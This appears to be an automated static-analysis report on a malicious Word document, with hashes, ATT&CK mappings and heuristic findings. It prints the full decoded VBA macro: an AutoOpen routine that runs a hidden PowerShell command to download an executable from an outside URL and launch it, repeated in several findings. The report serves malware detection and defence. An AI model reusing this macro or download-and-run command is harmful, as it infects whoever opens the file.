Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4c013ed022943a46…

MALICIOUS

Office (OLE)

28.5 KB Created: 2017-11-07 13:23:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 248781c18c52760e486cfc59ab6951dd SHA-1: 44a300db3393975baa8997ce1e86b7c797089d09 SHA-256: 4c013ed022943a469ea54e2265ec2a25e95231dfae160c54b3fb383f1be1b81c
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes a PowerShell command. This command downloads a file from the URL 'https://anyfile.255bits.com/wix/download?id=afbec03483fd273a736112fed173c39d' and saves it as '%APPDATA%\Example.exe', then executes it. This indicates a downloader or dropper functionality.

Heuristics 9

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        c = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://anyfile.255bits.com/wix/download?id=afbec03483fd273a736112fed173c39d','%APPDATA%\Example.exe');Start-Process '%APPDATA%\Example.exe'"
    Shell (c)
End Sub
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Dim c As String
    c = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://anyfile.255bits.com/wix/download?id=afbec03483fd273a736112fed173c39d','%APPDATA%\Example.exe');Start-Process '%APPDATA%\Example.exe'"
    Shell (c)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://anyfile.255bits.com/wix/download?id=afbec03483fd273a736112fed173c39d In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 669 bytes
SHA-256: 39e18ed04db46e3bf87622aa0f406ce15372c7ef14e4360e748c1acae6ec6938
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

    Call r8RYzZtF

End Sub


Sub r8RYzZtF()
    Dim c As String
    c = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://anyfile.255bits.com/wix/download?id=afbec03483fd273a736112fed173c39d','%APPDATA%\Example.exe');Start-Process '%APPDATA%\Example.exe'"
    Shell (c)
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.